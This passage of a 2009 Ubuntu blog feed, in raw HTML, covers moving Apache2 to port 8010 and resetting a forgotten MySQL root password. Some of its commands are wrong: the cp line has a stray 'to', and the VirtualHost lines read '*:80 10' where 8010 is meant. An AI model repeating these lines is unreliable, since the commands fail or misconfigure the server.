&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: lime;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;NameVirtualHost *:80 10  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="color: lime;"&gt;&lt;span lang="en-US"&gt;Listen 8010&lt;/span&gt;&lt;/span&gt;&lt;span lang="en-US"&gt;                &lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;After that, you need to make sure that you are using the now declared VirtualHost in a config file. Check in /etc/apache2/sites-available/ for a site using your Listen port:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;grep -E '&amp;lt;VirtualHost [*0-9.]+:8010' /etc/apache2/sites-available/*&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;If any lines are returned, then you have something setup to use that VirtualHost. If not, then you need to create another site in your config. The easiest way to do this is to copy the existing one and edit it slightly. In Step3 we are copying.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%;"&gt;Step 3: Copy &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="en-US"&gt;/etc/apache2/sites-available/default&lt;/span&gt;&lt;span lang="en-US"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%;"&gt; to /etc/apache2/sites-available/default8010&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%;"&gt;sudo cp /etc/apache2/sites-available/default to /etc/apache2/sites-available/default8010&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: black;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%;"&gt; &lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Step 4: Open default8010 with a text editor, and change the following.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Change the line that says this:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: lime;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;&amp;lt;VirtualHost *:80  &amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;to this&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: lime;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;&amp;lt;VirtualHost *:80 10 &amp;gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Save the file and exit. Now you should enable the site&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;Step 5: Enable the site using a2ensite&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt; &lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;sudo a2ensite default8010&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt; &lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span lang="en-US"&gt;sudo /etc/init.d/apache2 reload&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Now you should have a site enabled, listening on all interfaces on TCP port 8010.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;I would like to thank giggins[&lt;a href="http://ubuntuforums.org/member.php?u=874549" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;link&lt;/span&gt;&lt;/a&gt;], of ubuntu forums [&lt;a href="http://ubuntuforums.org/" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;link&lt;/span&gt;&lt;/a&gt;], for helping me to solve this problem.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-8670118459628069222?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dfoDXxsLjQ_N-j6ReNOwbrPenHA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dfoDXxsLjQ_N-j6ReNOwbrPenHA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dfoDXxsLjQ_N-j6ReNOwbrPenHA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dfoDXxsLjQ_N-j6ReNOwbrPenHA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/RFN6LRxy6Sk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/RFN6LRxy6Sk/apache2-change-apache-port.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/apache2-change-apache-port.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-3263025445419375376</guid><pubDate>Mon, 21 Sep 2009 13:07:00 +0000</pubDate><atom:updated>2009-09-30T09:22:31.553+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">reset mysql root</category><category domain="http://www.blogger.com/atom/ns#">root password</category><category domain="http://www.blogger.com/atom/ns#">reset mysql password</category><category domain="http://www.blogger.com/atom/ns#">mysql</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Reset MySQL 'root' Password</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;From &lt;a href="http://ubutrix.blogspot.com/2009/09/change-mysql-password.html"&gt;this&lt;/a&gt; post I tried to explain you about setting the root/user password for mysql. But What if you forgot&amp;nbsp; root password of mySQL server ?&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;It happens,well we have a solution for that also. &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; margin-left: 0.2cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: grey;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;&lt;u&gt;&lt;b&gt;NOTE: THIS IS ONLY FOR UBUNTU&lt;/b&gt;&lt;/u&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Please open &lt;span style="font-weight: normal;"&gt;Terminal from&lt;/span&gt;&lt;b&gt; Applications-&amp;gt;Accessories-&amp;gt;Terminal&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 1: Stop MySQL Service&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;code&gt;# /etc/init.d/mysql stop&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;For this you should have root user privileges. Use &lt;a href="http://www.gratisoft.us/sudo/man/sudo.html" target="_blank"&gt;sudo&lt;/a&gt; before the code.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 2: Create a new SQL script for resetting your password&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-weight: normal;"&gt;# nano &lt;/span&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;/root/mysql.reset.sql&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;nano is a text editor which is default in Ubuntu. You can select any of your favourite editors like vi,gedit.&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;Append the following code and replace YOUR-NEW-MYSQL-PASSWORD with actual new password you would like to use&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: #993333;"&gt;&lt;b&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;UPDATE&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt; mysql.user &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: #993333;"&gt;&lt;b&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;SET&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt; Password=PASSWORD&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: #66cc66;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: red;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;'YOUR-NEW-MYSQL-PASSWORD'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code style="background-color: #8e7cc3;"&gt; &lt;/code&gt;&lt;code style="background-color: #8e7cc3;"&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: #993333;"&gt;&lt;b&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;WHERE &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;User=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: red;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;'root'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="font-weight: normal;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;&lt;span style="color: #993333;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(153, 153, 204) none repeat scroll 0% 0%;"&gt;&lt;span style="color: #993333;"&gt;&lt;b&gt;FLUSH&lt;/b&gt;&lt;/span&gt; PRIVILEGES;           &lt;/span&gt;&lt;/pre&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 4: Set the new-mySQL-password&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;code&gt;# mysqld_safe --init-file=/root/mysql.reset.sql &amp;amp;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;pre style="margin-bottom: 0.5cm;"&gt;&lt;/pre&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;It will output some warning like this:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%;"&gt;nohup: ignoring input and redirecting stderr to stdout&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Starting mysqld daemon with databases from /var/lib/mysql&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;mysqld_safe[20970]: started&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;pre style="margin-bottom: 0.5cm;"&gt;&lt;/pre&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;And you are done with resetting operation. Simply, stop server and start again:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;
&lt;code&gt;# killall mysqld&lt;br /&gt;
# /etc/init.d/mysql start&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-3263025445419375376?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jip0mUdyb-u5UhxmEe98GmFfY6c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jip0mUdyb-u5UhxmEe98GmFfY6c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
